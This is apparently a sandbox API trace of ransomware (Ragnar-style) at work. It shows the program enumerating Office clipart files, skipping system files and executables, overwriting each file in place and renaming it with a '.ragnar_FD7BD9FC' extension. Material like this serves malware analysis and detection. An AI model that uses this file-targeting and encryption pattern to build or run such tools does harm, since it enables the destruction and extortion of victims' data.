lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0083.613] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0083.613] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0083.613] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0083.613] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0083.613] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0083.613] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0083.613] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105266.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105266.wmf")) returned 0x20 [0083.613] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105266.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105266.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0083.614] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=5908) returned 1 [0083.614] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x170b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.614] GetProcessHeap () returned 0x580000 [0083.614] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0083.614] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0083.615] VirtualAlloc (lpAddress=0x0, dwSize=0x1714, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0083.615] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.615] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0083.616] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1714, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1714, lpOverlapped=0x0) returned 1 [0083.616] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0083.616] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1714, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.617] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1714, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1714, lpOverlapped=0x0) returned 1 [0083.617] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1714, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.617] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0083.617] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1714, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.617] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.617] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.617] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.617] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0083.617] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.617] GetProcessHeap () returned 0x580000 [0083.617] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0083.617] CloseHandle (hObject=0xf4) returned 1 [0083.617] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105266.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105266.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105266.WMF" [0083.617] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105266.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105266.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105266.WMF.ragnar_FD7BD9FC" [0083.617] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105266.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105266.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105266.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105266.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0083.618] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e42c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4540, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105272.WMF", cAlternateFileName="")) returned 1 [0083.618] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0083.618] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0105272.WMF" | out: lpString1="J0105272.WMF") returned="J0105272.WMF" [0083.618] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105272.WMF") returned=".WMF" [0083.618] lstrcmpiW (lpString1="J0105272.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0083.618] lstrcmpiW (lpString1="J0105272.WMF", lpString2="autorun.inf") returned 1 [0083.618] lstrcmpiW (lpString1="J0105272.WMF", lpString2="boot.ini") returned 1 [0083.618] lstrcmpiW (lpString1="J0105272.WMF", lpString2="bootfont.bin") returned 1 [0083.618] lstrcmpiW (lpString1="J0105272.WMF", lpString2="bootsect.bak") returned 1 [0083.618] lstrcmpiW (lpString1="J0105272.WMF", lpString2="bootmgr") returned 1 [0083.618] lstrcmpiW (lpString1="J0105272.WMF", lpString2="bootmgr.efi") returned 1 [0083.618] lstrcmpiW (lpString1="J0105272.WMF", lpString2="bootmgfw.efi") returned 1 [0083.618] lstrcmpiW (lpString1="J0105272.WMF", lpString2="desktop.ini") returned 1 [0083.618] lstrcmpiW (lpString1="J0105272.WMF", lpString2="iconcache.db") returned 1 [0083.618] lstrcmpiW (lpString1="J0105272.WMF", lpString2="ntldr") returned -1 [0083.618] lstrcmpiW (lpString1="J0105272.WMF", lpString2="ntuser.dat") returned -1 [0083.618] lstrcmpiW (lpString1="J0105272.WMF", lpString2="ntuser.dat.log") returned -1 [0083.618] lstrcmpiW (lpString1="J0105272.WMF", lpString2="ntuser.ini") returned -1 [0083.618] lstrcmpiW (lpString1="J0105272.WMF", lpString2="thumbs.db") returned -1 [0083.619] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0083.619] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0083.619] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0083.619] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0083.619] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0083.619] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0083.619] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0083.619] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105272.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105272.wmf")) returned 0x20 [0083.619] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105272.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105272.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0083.619] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=17728) returned 1 [0083.619] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4537, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.619] GetProcessHeap () returned 0x580000 [0083.619] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0083.619] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0083.621] VirtualAlloc (lpAddress=0x0, dwSize=0x4540, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0083.621] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.621] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0083.621] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x4540, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x4540, lpOverlapped=0x0) returned 1 [0083.622] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0083.622] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4540, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.622] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x4540, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x4540, lpOverlapped=0x0) returned 1 [0083.623] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4540, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.623] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0083.623] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4540, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.623] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.623] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.623] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.623] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0083.623] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.623] GetProcessHeap () returned 0x580000 [0083.623] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0083.623] CloseHandle (hObject=0xf4) returned 1 [0083.623] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105272.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105272.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105272.WMF" [0083.623] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105272.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105272.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105272.WMF.ragnar_FD7BD9FC" [0083.623] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105272.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105272.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105272.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105272.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0083.624] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e42c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4b28, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105276.WMF", cAlternateFileName="")) returned 1 [0083.624] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0083.624] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0105276.WMF" | out: lpString1="J0105276.WMF") returned="J0105276.WMF" [0083.624] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105276.WMF") returned=".WMF" [0083.624] lstrcmpiW (lpString1="J0105276.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0083.624] lstrcmpiW (lpString1="J0105276.WMF", lpString2="autorun.inf") returned 1 [0083.624] lstrcmpiW (lpString1="J0105276.WMF", lpString2="boot.ini") returned 1 [0083.624] lstrcmpiW (lpString1="J0105276.WMF", lpString2="bootfont.bin") returned 1 [0083.624] lstrcmpiW (lpString1="J0105276.WMF", lpString2="bootsect.bak") returned 1 [0083.624] lstrcmpiW (lpString1="J0105276.WMF", lpString2="bootmgr") returned 1 [0083.624] lstrcmpiW (lpString1="J0105276.WMF", lpString2="bootmgr.efi") returned 1 [0083.624] lstrcmpiW (lpString1="J0105276.WMF", lpString2="bootmgfw.efi") returned 1 [0083.624] lstrcmpiW (lpString1="J0105276.WMF", lpString2="desktop.ini") returned 1 [0083.624] lstrcmpiW (lpString1="J0105276.WMF", lpString2="iconcache.db") returned 1 [0083.624] lstrcmpiW (lpString1="J0105276.WMF", lpString2="ntldr") returned -1 [0083.624] lstrcmpiW (lpString1="J0105276.WMF", lpString2="ntuser.dat") returned -1 [0083.624] lstrcmpiW (lpString1="J0105276.WMF", lpString2="ntuser.dat.log") returned -1 [0083.625] lstrcmpiW (lpString1="J0105276.WMF", lpString2="ntuser.ini") returned -1 [0083.625] lstrcmpiW (lpString1="J0105276.WMF", lpString2="thumbs.db") returned -1 [0083.625] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0083.625] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0083.625] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0083.625] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0083.625] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0083.625] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0083.625] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0083.625] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105276.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105276.wmf")) returned 0x20 [0083.625] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105276.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105276.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0083.625] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=19240) returned 1 [0083.625] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4b1f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.625] GetProcessHeap () returned 0x580000 [0083.625] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0083.625] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0083.627] VirtualAlloc (lpAddress=0x0, dwSize=0x4b28, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0083.627] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.627] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0083.627] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x4b28, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x4b28, lpOverlapped=0x0) returned 1 [0083.628] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0083.628] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4b28, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.628] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x4b28, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x4b28, lpOverlapped=0x0) returned 1 [0083.628] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4b28, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.629] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0083.629] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4b28, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.629] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.629] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.629] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.629] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0083.629] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.629] GetProcessHeap () returned 0x580000 [0083.629] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0083.629] CloseHandle (hObject=0xf4) returned 1 [0083.629] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105276.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105276.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105276.WMF" [0083.629] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105276.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105276.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105276.WMF.ragnar_FD7BD9FC" [0083.629] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105276.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105276.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105276.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105276.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0083.630] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e42c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2d14, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105280.WMF", cAlternateFileName="")) returned 1 [0083.630] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0083.630] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0105280.WMF" | out: lpString1="J0105280.WMF") returned="J0105280.WMF" [0083.630] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105280.WMF") returned=".WMF" [0083.630] lstrcmpiW (lpString1="J0105280.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0083.630] lstrcmpiW (lpString1="J0105280.WMF", lpString2="autorun.inf") returned 1 [0083.630] lstrcmpiW (lpString1="J0105280.WMF", lpString2="boot.ini") returned 1 [0083.630] lstrcmpiW (lpString1="J0105280.WMF", lpString2="bootfont.bin") returned 1 [0083.630] lstrcmpiW (lpString1="J0105280.WMF", lpString2="bootsect.bak") returned 1 [0083.630] lstrcmpiW (lpString1="J0105280.WMF", lpString2="bootmgr") returned 1 [0083.630] lstrcmpiW (lpString1="J0105280.WMF", lpString2="bootmgr.efi") returned 1 [0083.630] lstrcmpiW (lpString1="J0105280.WMF", lpString2="bootmgfw.efi") returned 1 [0083.630] lstrcmpiW (lpString1="J0105280.WMF", lpString2="desktop.ini") returned 1 [0083.630] lstrcmpiW (lpString1="J0105280.WMF", lpString2="iconcache.db") returned 1 [0083.630] lstrcmpiW (lpString1="J0105280.WMF", lpString2="ntldr") returned -1 [0083.630] lstrcmpiW (lpString1="J0105280.WMF", lpString2="ntuser.dat") returned -1 [0083.630] lstrcmpiW (lpString1="J0105280.WMF", lpString2="ntuser.dat.log") returned -1 [0083.630] lstrcmpiW (lpString1="J0105280.WMF", lpString2="ntuser.ini") returned -1 [0083.630] lstrcmpiW (lpString1="J0105280.WMF", lpString2="thumbs.db") returned -1 [0083.630] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0083.630] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0083.630] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0083.630] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0083.631] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0083.631] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0083.631] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0083.631] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105280.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105280.wmf")) returned 0x20 [0083.631] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105280.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105280.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0083.632] 